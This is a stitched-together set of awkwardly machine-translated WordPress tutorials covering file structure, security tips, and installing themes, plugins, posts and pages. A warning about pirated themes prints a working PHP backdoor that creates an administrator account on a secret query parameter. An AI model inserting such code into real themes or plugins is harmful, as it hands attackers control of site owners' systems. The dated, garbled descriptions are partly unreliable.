WordPress directory file structure

Root directory
| -wp-admin
| | -css
| | -images
| | -includes
| -js
| | -maint
| -network
| | -user
| -wp-content
| | -languages
| | -plugins
| | -themes
| | -upgrade
| -wp-includes
| | -certificates
| | -css
| | -fonts
| | -ID3
| | -images
| -js
| – pomo
| -SimplePie
| -Text
| -theme-compat
**********
Root directory
**********
1.index.php: wordpress core index file, that is, the blog output file.
2.license.txt: WordPress GPL license file.
3.my-hacks.php: Defines the appending process that was processed before the blog was output. The default installation does not have this file, but if it exists, it will be referenced by the admin page.
4.readme.html: WordPress Installation Introduction.
5.wp-atom.php: Outputs the Atom information aggregated content.
6.wp-blog-header.php: According to the blog parameters to define the blog page display content.
7.wp-cron.php
8.wp-comments-post.php: Receive comments and add them to the database.
9.wp-commentsrss2.php: RSS2 information aggregated content used to generate log comments.
10.wp-config-sample.php: An example configuration file that connects WordPress to a MySQL database.
11.wp-config.php: This is really the WordPress connection to the MySQL database configuration file. The default installation does not include it, but since WordPress runs requires this file, the user needs to edit the file to change the settings.
12.wp-feed.php: Defines the feed type according to the request and returns the feed request file.
13.wp-links-opml.php: Generates a list of OPML-formatted links (added via the WordPress Administration menu).
14.wp-login.php: Defines the login page for registered users.
15.wp-mail.php: used to get through the mail submitted by the blog. The URL of this file is usually added to the cron task, so cron will periodically retrieve the file and receive the mail log.
16.wp-pass.php: Review password protected by password and display protected article.
17.wp-rdf.php: Generates RDF information aggregated content.
18.wp-register.php: Allows new users to register user names via online forms.
19.wp-rss.php: Generates RSS feed aggregated content.
20.wp-rss2.php: Generates RSS2 information aggregated content.
21.wp-settings.php: Run the routine before execution, including checking whether the installation is correct, using helper functions, applying user plugins, initializing timers, and so on.
22.wp-trackback.php: Handles trackback requests.
23.wp.php: A simple template that displays a blog post. And nothing magical, but included part of the index.php content.
24.xmlrpc.php: Handles xmlrpc requests. Users do not need to use the built-in network management interface to publish articles.
**********
wp-admin
**********
1.wp-admin / admin.php: Manage the core files of the file. Used to connect to the database, the integration of dynamic menu data, display non-core control pages.
2.wp-admin / admin-db.php
3.wp-admin / admin-footer.php: Defines the footer for all administrative consoles.
4.wp-admin / admin-functions.php: defines a variety of functions used by the Administration Console.
5.wp-admin / admin- header.php: Defines the top half of the admin console, including the menu-header.php file for menu logic.
6.wp-admin / bookmarklet.php: Defines the pop-up page when using the bookmark function. Write the log using the default edit-form.php file.
7.wp-admin / categories.php: Defines the category management of the management page. Reference: Manage – Categories
8.wp-admin / cat-js.php
9.wp-admin / edit.php: Defines the log management of the management page. Reference: Manage – Posts
10.wp-admin / edit-comments.php: Defines the management of the comment management page. Reference: Manage – Comments
11.wp-admin / edit-form-advanced.php: Defines the management of the administrative pages of the advanced management of the form, including post.php. Reference: Write – Write Post – Advanced
12.wp-admin / edit-form.php: Defines the log of the managed pages Simple edit form management, including post.php. Reference: Write – Write Post
13.wp-admin / edit-form-comment.php: Edit specific log comments.
14.wp-admin / edit-form-ajax-cat.php
15.wp-admin / edit-link-form.php
16.wp-admin / edit-page-form.php: Defines the page editing of the management module pages, including post.php and page-new.php. Reference: Write – Write Page
17.wp-admin / edit-pages.php: Defines the page management for the management module pages. Reference: Manage – Pages
18.wp-admin / execute-pings.php
19.wp-admin / import.php
20.wp-admin / index.php: default management page. Display the corresponding page according to the user request.
21.wp-admin / inline-uploading.php
22.wp-admin / install-helper.php: Defines the database maintenance functions, including popular-in-plugins maybe_create_table () and maybe_add_column ().
23.wp-admin / install.php: Install WordPress.
24.wp-admin / link-add.php: link to add. Reference: Links – Add Link
25.wp-admin / link-categories.php: link classification management. Reference: Links – Link Categories
26.wp-admin / link-import.php: import link. Reference: Links – Import Links
27.wp-admin / link-manager.php: link management. Reference: Links – Manage Links
28.wp-admin / link-parse-opml.ph: Used to parse OPML files when importing links.
29.wp-admin / list-manipulation.js
30.wp-admin / list-manipulation.php
31.wp-admin / menu-header.php: Used to display the menu in the admin interface.
32.wp-admin / menu.php: Defines the default administrative menu structure.
33.wp-admin / moderation.php: defines the comment review function.
34.wp-admin / options.php: used to change all settings after the upgrade.
35.wp-admin / options-discussion.php: Manage comments and trackback related options. Reference: Options – Discussion
36.wp-admin / options-general.php: Manage basic configuration options. Reference: Options – General
37.wp-admin / options-head.php
38.wp-admin / options-misc.php: set the file upload, link tracking, custom “hacks” and other related options. Reference: Options – Miscellaneous
39.wp-admin / options-permalink.php: Manage permanent link options. Reference: Options – Permalinks
40.wp-admin / options-reading.php: Sets how the site information is sent to the reader’s browser or other application. Reference: Options – Reading
41.wp-admin / options-writing.php: Manage log compose interface. Reference: Writing – Writing
42.wp-admin / page-new.php: Create a new page.
43.wp-admin / plugin-editor.php: Edit the plug-in file.
44.wp-admin / plugins.php: Manage plugins.
45.wp-admin / post.php: Create a new log.
46.wp-admin / profile-update.php
47.wp-admin / profile.php: Manage your profile or configuration.
48.wp-admin / setup-config.php: used to create the wp-config.php file.
49.wp-admin / sidebar.php
50.wp-admin / templates.php: Edit the server writable file.
51.wp-admin / theme-editor.php: Edit files in a specific topic.
52.wp-admin / themes.php: Manage topics.
53.wp-admin / update-links.php
54.wp-admin / upgrade-functions.php: defines the version upgrade function.
55.wp-admin / upgrade-schema.php: Defines the default table structure and options used in the upgrade.
56.wp-admin / upgrade.php: version upgrade.
57.wp-admin / user-edit.php: Edit the user.
58.wp-admin / users.php: Manage users.
59.wp-admin / wp-admin.css: Defines the default style sheet for the Administration Console.
60.wp-admin / xfn.js
**********
wp-includes
**********
wp-includes directory
1.wp-includes / cache.php
2.wp-includes / capabilities.php
3.wp-includes / class-IXR.php: Incutio XML-RPC library. Including XML RPC support functions. Powered by http://scripts.incutio.com/xmlrpc/.
4.wp-includes / classes.php: includes the basic class, such as the core article extraction mechanism WP_Query and rewrite the management WP_Rewrite.
5.wp-includes / class-pop3.php: Includes classes that support the use of POP mailboxes. Available for wp-mail.php.
6.wp-includes / class-snoopy.php: Snoopy is a PHP class that is used to mimic the functionality of a Web browser that automatically completes the task of retrieving web pages and sending forms.
7.wp-includes / comment-functions.php
8.wp-includes / default-filters.php
9.wp-includes / feed-functions.php
10.wp-includes / functions-compat.php: the new version of PHP used to support the old version of the PHP function file.
11.wp-includes / functions-formatting.php: Used to clean up XHTML and format text correctly with a specific character set.
12.wp-includes / functions-post.php: Defines functions such as managing logs in the database, querying user rights, extracting and writing comments.

13.wp-includes / functions.php: contains many important support functions, it is WordPress the largest file, the function is almost twice the number of the second largest file.
14.wp-includes / gettext.php: PHP-gettext GPL translator library component.
15.wp-includes / kses.php: used to render and filter the HTML in the log or comment.
16.wp-includes / links.php: used to manage and use the WordPress link function.
17.wp-includes / locale.php: used to replace the default week and month values.
18.wp-includes / pluggable-functions.php
19.wp-includes / registration-functions.php
20.wp-includes / rss-functions.php
21.wp-includes / streams.php: defines the class of wrapper files and character streams.
22.wp-includes / template-functions-author.php: Contains topic functions related to the author or commenter of the log.
23.wp-includes / template-functions-category.php: Contains category-related topic functions.
24.wp-includes / template-functions-comment.php: Contains topic functions related to comments.
25.wp-includes / template-functions-general.php: Contains regular theme functions.
26.wp-includes / template-functions-links.php: Contains the topic-related functions associated with the link.
27.wp-includes / template-functions-post.php: Contains the topic related to the log function.
28.wp-includes / template-functions.php: Contains all of the above “template-” files.
29.wp-includes / template-loader.php
30.wp-includes / vars.php: used to set miscellaneous variables.
31.wp-includes / version.php: used to set the current version of WordPress.
32.wp-includes / wp-db.php: Contains the function used to connect to the MySQL database.
33.wp-includes / wp-l10n.php: Provides functions that support multilingual versions.

Be careful! Pirate theme may have a back door

WordPress In addition to a large number of official themes, there are a large number of theme designers to publish free and charge topics, many children’s shoes often collect the theme to get back to use the test, some of which will be collected by foreign experts to fill the theme of commercial changes, add Dark chain, advertising, and even malicious code, and then free or paid public release, to induce others to download and use, to achieve ulterior motives. In addition, these commercial charges are generally the subject of the test version, the subject code is not perfect, the function is missing, individual test version of the commercial theme is enabled after the database will automatically write a lot of data …….

The following code is more evil and can automatically add a role for the admin user.

  1. add_action(‘wp_head’, ‘holeinthewall’);
  2. function holeinthewall() {
  3.         If ($_GET[‘backdoor’] == ‘go’) {
  4. require(‘wp-includes/registration.php’);
  5.                 If (!username_exists(‘username’)) {
  6. $user_id = wp_create_user(‘username’, ‘password’);
  7. $user = new WP_User($user_id);
  8. $user->set_role(‘administrator’);
  9.                 }
  10.         }
  11. }

Add the code to your current theme functions.php file or plugin, will automatically create a user name: username password: password administrator who have the authority, then want to do anything.

So, here advise you still do not use their own site pirated themes and plug-ins, as far as possible to the official or original publishing site to download the theme, so as not to be opened the back door is not known!

Top 10 WordPress security settings tips

WordPress is currently used in the world of a wide range of blog software, more vulnerable to various attacks, so WordPress security is also very important, there are 10 security tips below that can help you easily solve WordPress security issues so that you are in WordPress Safety to go more detours.

1, upgrade WordPress to the latest version

In general, the new version of WordPress security will be better than the old version, and solve the known various security issues, especially when a major version of the upgrade, the new version may solve more critical issues The (For example, older versions of WordPress have remv.php major vulnerabilities that could lead to DDoS attacks and upgrade to the latest version to fix this problem)

 

2, hidden version of WordPress

Edit your header.php template, which will be on the version of WordPress information are deleted, so that hackers can not see through the source code control that your WordPress has not upgraded to the latest version.

 

3. Change the WordPress username

Every hacker knows that WordPress’s admin user is admin, has administrator privileges, will attack this user, then you need to create a new user, set it as administrator privileges, and then delete the old admin account, which can be avoided Hackers guess the administrator’s username.

 

4, change the WordPress user password

After installing WordPress, the system will send a random password to your mailbox, modify the password, because the length of the password is only 6 characters, you want to change the password to 10 characters above the complex password, and try to use letters, numbers , The symbol is mixed with the password.

 

5, to prevent the WordPress directory display

WordPress will install the plugin by default to the / wp-content / plugins / directory. Normally, browsing this directory directly will list all installed plugin names, which is bad because hackers can exploit vulnerabilities in known plugins so that they can Create an empty index.html file into this directory, of course, modify the Apache .htaccess file can also play the same role.

 

6, protect the wp-admin folder

You can protect the WordPress administrator folder by restricting the IP address, and all other IP address accesses the information that is forbidden to access, but you can only manage blogs from one or two places. In addition, you need to put a new .htaccess file to the wp-admin directory, to prevent the root directory. Htaccess file is replaced.

 

7, for the protection of search engines

Many WordPress system files do not need to be indexed by the search engine, so modify your robots.txt file to add a line to Disallow: / wp- *

 

8, install the Login Lockdown plugin

This plug-in can record the failed login attempt IP address and time, if the IP address from a failure to log in more than a certain condition, then the system will prohibit this IP address to continue to try to log on.

9, WordPress database security

The data table is best not to use the default wp_ at the beginning, the installation of the database backup plug-in, no matter how much protection, you should regularly back up your database, the use of WordPress Database Backup plug-ins can achieve regular backup database.

 

10, install WordPress Security Scan plugin

This plugin will automatically follow the above security recommendations for your WordPress scan, find the existence of the problem, the use of more simple.

What is WordPress?

WordPress is a blog platform developed using PHP language, users can support PHP and MySQL database server to set up their own website. WordPress can also be used as a content management system (CMS) to use. WordPress is a free open source project licensed under the GNU General Public License. WordPress is one of the world’s best free personal blogs, with downloads breaking 8,890,000 (see WordPress Download Counter for detailed data).

WordPress is a personal information publishing platform that focuses on aesthetics, ease of use and web standards. WordPress is a free open source software, but its value can not be measured by money.

WordPress can be used to build a powerful network information publishing platform, but more is used in personalized blog. For blog applications, WordPress allows you to worry about the background technology, focus on doing the contents of the site.

WordPress Features

1. Visual article editor
2. Easy to use template system
3. Unified link management function
4. PermaLink system optimized for search engines
5. Support the use of expansion of its function plug-ins, plug-in is very rich
6. For the article can be nested classification, the same article can also belong to multiple categories
7.TrackBack and Pingback functions
8. Can produce the appropriate text format and style of the layout filter
9. Generate and use functions of static pages
10. Many authors write the function
11. You can save a list of users who have visited your blog
12. Access to users from a certain IP segment can be disabled
13. Support the use of labels (Tags)

WordPress Beginner Part10 — Install themes and plugins

The power of WordPress is, to a large extent, due to its good extension and numerous themes and plug-in support. Today, Meng Meng will briefly introduce WordPress installation theme and plug-in methods.

WordPress installation theme

WordPress can be installed via 3 common installation methods

Method One: Online Search Installation

Access Background – Appearance – Themes – Install Themes, Enter Subject Keywords, Search

Browse search results for installation

Note: The topics that are searched here are the themes that the theme author submitted to the WordPress theme library. Experience tells us that for domestic users, it is difficult to quickly find the theme we want here, so it is generally not recommended unless you want to The theme has already been submitted to the theme library.

Method two: upload the theme file to install online

This is a more versatile method, provided that the theme package must be packaged in .zip format. In the background – Appearance – Themes – Install Topics – Upload, select the theme package, then install

Successful installation is as follows

Method 3: Upload Topics via FTP

If you can’t install the theme by the above method, you can connect to the host space via FTP, then go to the /wp-content/theme directory of the website and upload the locally unzipped theme file here.

Enable and manage topics

After installing the theme, visit the background – Appearance – theme, you can see the theme just installed, you can view the “Details”, “Preview” or “Enabled” theme. If you want to change the theme, you can also enable new topics here.

After you enable the theme, you may need to further set the theme. Different topics require different settings, so this is not demonstrated here.

WordPress Install Plugin

Installing plug-ins is similar to installing themes, but there are also 3 commonly used methods:

Method One: Online Search Installation

Access background – plugins – install plugins, enter keyword search

Browse search results for installation

Note: It is generally recommended to install plug-ins that have been submitted to the WordPress plug-in library, and it has been recently updated (it is recommended not to install plug-ins that have not been updated for more than 2 years)

Method two: Upload and install plugins online

Access Background – Plugins – Install Plugins – Upload, select the plugin package in native .zip format

Method 3: Upload and Install Through FTP

If there is no way to install through the above method, you can connect to the host space via FTP, extract the created package, and upload it to the /wp-content/plugins directory:

Enable and manage plugins

After the plug-in is installed, access the background – plug-ins – installed plug-ins, you can enable the plug-in

You can also disable disabled plugins here

Note: Some plug-ins need to be set up after the relevant settings, each plug-in settings options are not the same, this is not demonstrated.

Well, the above is the basic operation of installing WordPress themes and plug-ins. Have you learned?

 

Read other articles in this series:

WordPress Beginner Part1 — what is wordpress?

WordPress Beginner Part2 — What are the conditions for building a WordPress site?

WordPress Beginner Part3 — How to install WordPress

WordPress Beginner Part4 — WordPress basic settings

WordPress Beginner Part5 — Create and manage article categories

WordPress Beginner Part6 — Little-known background “small private”

WordPress Beginner Part7 — publishing new articles and article management

WordPress Beginner Part8 — New page and management page

WordPress Beginner Part9 — Set up the navigation menu

WordPress Beginner Part10 — Install themes and plugins

 

WordPress Beginner Part7 — publishing new articles and article management

Pre-installation preparation

1. Download the latest version of WordPress (shown here as the official Chinese version of WordPress 3.5). After decompression, upload all the files in the WordPress folder to the root directory where your host space domain name is bound.

Click on “Display Options” in the upper right corner of the page to check all the default function modules and drag to arrange them (understand “Display Options”). And divide it into 11 small points, which will be introduced one by one below.

First, the editorial area

1. Title – Type a title for your article. After that, you will see a fixed link address, which is editable.

2. Article Editor – Type the text of your article.

  • (1) Switch editor mode
    The editor has two editing modes: “Visual” and “Text.” Tap the appropriate tab to switch. Visualize mode shows the WYSIWYG editor. Click the toolbar’s last icon to expand the second row of control buttons; in “text” mode, you can enter the original HTML tags and article text.
  • (2) insert pictures and other multimedia files
    You can upload or insert multimedia files (images, audio, documents, etc.) by clicking on the “Add media” button. You can choose from the files that have been uploaded to the media library and insert the article directly, or upload a new file, and then insert it. To create an album, select the image to add and click the “Create New Album” button.
  • (3) Full-screen editing mode
    You can use the Full Screen Writing Interface with the Full Screen icon in the Visualization mode (second to last line in the first row). After entering this interface, move the mouse to the top and the control button will be displayed. Click “Exit full screen” to return to the standard editing interface.

Second, publish the status of the article

You can set the article’s properties in the Publish area. Click the “Edit” button to the right of “Status”, “Visibility”, and “Publish” to adjust more settings. Visibility settings include password protection and article sticking; by setting publishing options, you can implement scheduled publishing (how to publish articles regularly).

Third, select article classification

Very simple function, choose the classification for your article (how to add article classification)

Fourth, fill in the article summary

Some WordPress themes call the article summary on the Category Archive page. You can manually add an abstract to this article (typically 50-200 words)

Five, custom sections

Please move to “Introduction and Usage Examples of WordPress Custom Fields”

Six, send trackback (rarely used)

Trackback is a way to inform old blog systems that you have linked to them. Please enter the URL(s) to which you want to send a trackback. If you are linking to other WordPress sites, you do not need to fill in this column. These sites will be automatically notified by pingback.

Seven labels

WordPress can associate articles by category, but also by tags. Some WordPress themes will automatically call the tag that is filled in here as the keyword for this article. The length of the label is generally 2-6 characters, and it is generally sufficient to fill in 2-4 labels. (The “hot tag” on the sidebar of this site is a typical call)

Eight, featured image

WordPress 3.0+ introduced this “feature image” function (requires theme support). The featured image set here is generally used for thumbnail calling of articles. Now generally complete WordPress themes support the invocation of featured images as thumbnails. This is especially the case for foreigners.

Nine, alias

The aliases and adventurousness here are the same as those used in the “Creating and Managing Article Categories”: they appear in the article’s URL, making the links more beautiful and concise. Alias ​​is generally recommended to fill in English or Pinyin, not too long. (Note: This alias is called as part of the url only if the permalink is set to a style with a /%postname% field. How to set a permalink)

X. Authors

You can refer to the author of the article here. The default is the user you are currently logged in to

XI. Discussion

You can set the switch for comments and citations. If the article has comments, you can browse and review comments here. If you do not allow others to comment on this article, do not check it.

Note: You can set – discuss and set global discussion settings in the background (such as whether to turn on commenting, comment filtering, comment review, etc.)

Management Articles

Open background – articles – all articles, you can see all articles:

1. You can open the “Display Options” in the upper right corner to set the items and quantity to be displayed

2. Allows you to perform article selection and batch operations

3. Move the mouse over the title of the article and the menus “Edit, Quick Edit, Move to Recycle Bin, View” will be displayed. If you only need to modify the attributes of the article (such as the top article), use “Direct Edit”. You can use “edit” if you want to modify the content of the article.

Conclusion

The above is the function module that comes with WordPress. If you have installed some other plug-ins, or some powerful WordPress themes, you may want to add some extended function modules here. Then you need to understand and use it yourself. Now.

 

Read other articles in this series:

WordPress Beginner Part1 — what is wordpress?

WordPress Beginner Part2 — What are the conditions for building a WordPress site?

WordPress Beginner Part3 — How to install WordPress

WordPress Beginner Part4 — WordPress basic settings

WordPress Beginner Part5 — Create and manage article categories

WordPress Beginner Part6 — Little-known background “small private”

WordPress Beginner Part7 — publishing new articles and article management

WordPress Beginner Part8 — New page and management page

WordPress Beginner Part9 — Set up the navigation menu

WordPress Beginner Part10 — Install themes and plugins

 

WordPress Beginner Part8 — New page and management page

WordPress pages and articles are similar, but also a content publishing function, but they are different, the following advocate Meng Meng briefly introduce. Open background – page – New page, you can see the following interface:

The similarities and differences between pages and articles

Pages and articles are similar — they all have titles, text, and related information. However, pages that are similar to permanent ones are often not faded out of sight as time goes by, as in general blog posts. Pages cannot be categorized or labeled, but they can have hierarchical relationships. You can attach pages under another page.

The method of creating a new page and writing an article is very similar, and the following interface can also be customized by the same method (dragging sorting, “display options” tab, and expanding and retracting modules). This page also supports a full-screen writing interface. The full-screen writing interface supports the “visual” and “text” modes. The page editor and article editor are also similar, except that some of the options in the “Page Attributes” module are slightly different:

Parents – You can organize your pages in a hierarchical manner. For example, you can create an “About” page with subordinates of “Life” and “My Pet.” There is no limit to the depth of the hierarchy.

Templates – Some themes have custom templates that you can use on pages where you want to add new features or custom layouts. If so, you can see it in the drop-down menu.

Sorting – Pages are sorted alphabetically by default. You can also customize the order of the pages by assigning a number to the page (1 for the first, 2 for the second…) (this is rarely used since WordPress 3.0 introduces custom menu functionality).

Pages are often used to create separate content, such as: About Us, Links, Advertising Collaboration, Contributions Pages…

Create a new page

Other modules and functions of the page publishing interface are basically the same as the article publishing page. Please read “Publish new articles and management articles.”

Management page

Open background – page – all pages, you can view all the pages that have been created:

1. You can click the “Display Options” in the upper right corner to set the items to be displayed and the number of pages per page

2. You can batch select pages, and then perform some batch operations, such as bulk move to the recycle bin

3. Move the mouse to the title of the page and the function menu “Edit, Quick Edit, Move to Recycle Bin, View” will be displayed. If you only want to edit the properties of some pages, you can use “Quick Edit” directly; Modify the content of the page, then use “edit”.

 

Read other articles in this series:

WordPress Beginner Part1 — what is wordpress?

WordPress Beginner Part2 — What are the conditions for building a WordPress site?

WordPress Beginner Part3 — How to install WordPress

WordPress Beginner Part4 — WordPress basic settings

WordPress Beginner Part5 — Create and manage article categories

WordPress Beginner Part6 — Little-known background “small private”

WordPress Beginner Part7 — publishing new articles and article management

WordPress Beginner Part8 — New page and management page

WordPress Beginner Part9 — Set up the navigation menu

WordPress Beginner Part10 — Install themes and plugins

WordPress Beginner Part4 — WordPress basic settings

As mentioned earlier, how to install WordPress, then we need to quickly familiarize ourselves with WordPress and perform some necessary basic settings.

Before starting the setup, it is recommended that you first click on each of the options in the left menu bar to see what exactly you are doing. Let’s start with some of the most basic settings that a new WordPress site should perform.

First, set up personal data

It is recommended that you improve your basic information, because some WordPress themes will call the information here.

Open Users – My Profile:

It should be noted that it is recommended to fill in the nickname, and then set the [publicly displayed as] to select other than the login user name, the content here will be displayed in the front of the site, if you directly use the login user name, there is a security risk .

Second, set the site’s general options

Open Settings – General:

It’s simple, just note that generally you don’t want to change your WordPress address and site address unless you change your domain name.

Third, modify the fixed link

Almost every website system allows you to set the website’s permalink style. WordPress is no exception.

Open Settings – Fixed Links:

The setting of the fixed link is very important. After the website is online, don’t modify it any more. Otherwise, it will not only affect the inclusion, but also cause the search engine to directly stop!

Set up a fixed link, advocate Meng think it is necessary to meet the “level simple” principle. Generally do not use the first “default” style, do not recommend 2, 3, 4 kinds. At present, more people use the following kinds:

  • 1 The custom structure is /%post_id% (it ends directly with the article ID) and the result is similar to http://demo.wpdaxue.info/321
  • 2 The custom structure is /%post_id%.html (ID.html) and the display result is similar to http://demo.wpdaxue.info/321.html
  • 3 Select the fifth “article name” is /%postname%/ (behind the slant / can not), the result is similar to http://demo.wpdaxue.info/ article title /
  • 4 The custom structure is /%postname%.html and the result is similar to http://demo.wpdaxue.info/ Article Title.html

Among them, 1 and 2 are very short and are automatically generated, but some people care about the fact that the article ID is not continuous. For example, the first article has an id of 3, and the second article actually has a score of 13, which is marked by WordPress itself. Caused by reasons such as preservation;

3 and 4 are directly linked to the title of the article. The semantics are clear. When someone looks at the link, they will probably know what this article is about and it is also good for SEO. For English and other language systems, this is very convenient, but the Chinese title can be used as a link. Chinese characters may appear as long garbled characters, or they may cause links to fail to open. For this situation, you can install plug-ins that are automatically translated into pinyin or English, but if the title of the article is very long, the translated link is also very long, so you can manually delete it when you publish the article, or simply advocate it. Similarly, do not install the translation plug-in and fill it in manually.

In general, the hierarchical structure is simple and convenient for you to operate. It is important to remember that after the website is online, don’t modify the fixed link style easily!

Fourth, set the reading

Open Settings – Read

You can simply set the number of articles displayed on the next page (different theme settings may not be possible), and you can also set whether or not to include search engines.

Five, images and upload settings

Open Settings – Multimedia:

By default, each uploaded picture will generate the above-mentioned several kinds of pictures (see the figure in the text description), if you do not need to generate a variety of specifications to occupy space, you can set all to zero, save it.

Of course, this is a global setting. If some themes define the thumbnails of the generated images in functions.php through functions, and the theme needs to be called, the thumbnails defined by the theme will still be generated. That is, theme customization is higher than WordPress default settings. But anyway, it is not wrong to change the default setting to 0. Of course, if the theme author asks you to set other values here.

Sixth, other settings

The above is the more commonly used changes, the other general default can, or you can also according to their own needs, a menu to view settings. For example, if you want to close the entire station comment, you can set it under Settings – Discussions.

Well, WordPress basic settings have been done!

 

Read other articles in this series:

WordPress Beginner Part1 — what is wordpress?

WordPress Beginner Part2 — What are the conditions for building a WordPress site?

WordPress Beginner Part3 — How to install WordPress

WordPress Beginner Part4 — WordPress basic settings

WordPress Beginner Part5 — Create and manage article categories

WordPress Beginner Part6 — Little-known background “small private”

WordPress Beginner Part7 — publishing new articles and article management

WordPress Beginner Part8 — New page and management page

WordPress Beginner Part9 — Set up the navigation menu

WordPress Beginner Part10 — Install themes and plugins

WordPress Beginner Part2 — What are the conditions for building a WordPress site?

The first class of WordPress started with a brief introduction of WordPress. It is an open source, free website building program developed using PHP language and MySQL database. Then building a WordPress site requires a host space capable of running PHP language and a MySQL database.

Maybe some friends will ask, what is the host space, what is the MySQL database, what exactly do they use? Following Meng advocates to use their own words to briefly talk about it.

What is host space? What do you use?

Host space is responsible for two of the most basic functions: storing files on the site, and providing the environment in which the site runs. The host space mentioned here is actually a server that is connected to the public network. It is basically running for 24 hours. The hard disk of the server can store website files. Installing a system and environment in the server can run the website.

The common host space on the market is Windows host and Linux host:

The Windows host, as its name suggests, is a server version of Windows installed on the server, such as windows2003. This kind of host, generally uses its own IIS to configure the environment where the website runs. Windows host, often called the all-round host in the market, supports ASP, PHP and other language-building program. Of course, the MySQL database environment is generally installed.

Note: Internet Information Services (IIS, Internet Information Services) is an Internet based service running Microsoft Windows provided by Microsoft Corporation.

Linux host, the host with the Linux kernel system installed. This kind of mainframe generally installs Apache, MySQL, and PHP three components to set up the website environment. Linux hosts do not support languages ​​such as ASP. Usually, they only support PHP language programs.

 

Choose a Windows host or a Linux host?

The main difference between the Windows host and the Linux host was described earlier in the supported language environment. The former supports more languages, and the latter usually supports only the PHP language. Many friends who have just come into contact with the site may not hesitate to choose Windows as the “all-powerful host”. However, as someone who has come forward, Seng Meng is more recommended to use Linux hosting to build WordPress. why?

Practice has proved that the Linux host’s PHP environment is more conducive to efficient operation of WordPress and other PHP programs, such as support for pseudo-static, support for Chinese links, support for other functions required by WordPress more perfect, run more smoothly.

If you are using a Windows host, you will find that running WordPress feels slower and usually does not perfectly support pseudo-statics. If there are Chinese in the URL, then there will be a 404 error. Sometimes there is no way to use some plugins… although some The problem can be solved by modifying the configuration, but for a novice, there is almost no way to toss!

Therefore, to use WordPress, choosing a Linux host is the right way! !

By the way, due to the fact that Windows hosts need to purchase Microsoft copyright, the cost is relatively high. Generally, there are fewer foreign Windows hosts and they are very expensive. Therefore, advocated Meng recommend that you use the PHP program to build the station, try not to use the ASP language, or you can only buy the windows host in the country, and the domestic host must be filed, if you are not afraid of tossing, then when I did not say anything.

 

What is a MySQL database? What do you use?

MySQL database is usually used to store the data information of the PHP program, such as WordPress some configuration information, article data, etc. are stored in the MySQL database. Usually, we need to use phpMyadmin to operate on the MySQL database, so the general host is installed phpMyadmin program.

 

How many space and database do you need to build WordPress?

In general, the host space has three choices: Web Hosting -> VPS -> Server. For beginners or personal bloggers, Meng Meng recommends that you purchase the virtual host first. Since the initial period (in a year), the traffic to your site will not be very high. Big, a 200M virtual host is enough for an ordinary blog to use for more than a year.

Buy Linux host, there is usually a parameter, that is, the monthly traffic, if the blog with a small map, the daily traffic is within 300 IP, generally 6-10GB a month of traffic on it. The Linux host’s MySQL database is generally used with the host space, which means that the size of the MySQL database is already included in the virtual host and does not need to be purchased separately. Usually within one year, the size of a blog’s MySQL database will not reach 10M.

So, in the early days of building a blog, you can buy a 200-Mbyte Linux host with a monthly capacity of 6-10G. The price of such a foreign host is generally between 80-200 Yuan/year. Together with a domain name of 60 yuan, generally 150-200 yuan can build your independent blog it!

Read other articles in this series:

WordPress Beginner Part1 — what is wordpress?

WordPress Beginner Part2 — What are the conditions for building a WordPress site?

WordPress Beginner Part3 — How to install WordPress

WordPress Beginner Part4 — WordPress basic settings

WordPress Beginner Part5 — Create and manage article categories

WordPress Beginner Part6 — Little-known background “small private”

WordPress Beginner Part7 — publishing new articles and article management

WordPress Beginner Part8 — New page and management page

WordPress Beginner Part9 — Set up the navigation menu

WordPress Beginner Part10 — Install themes and plugins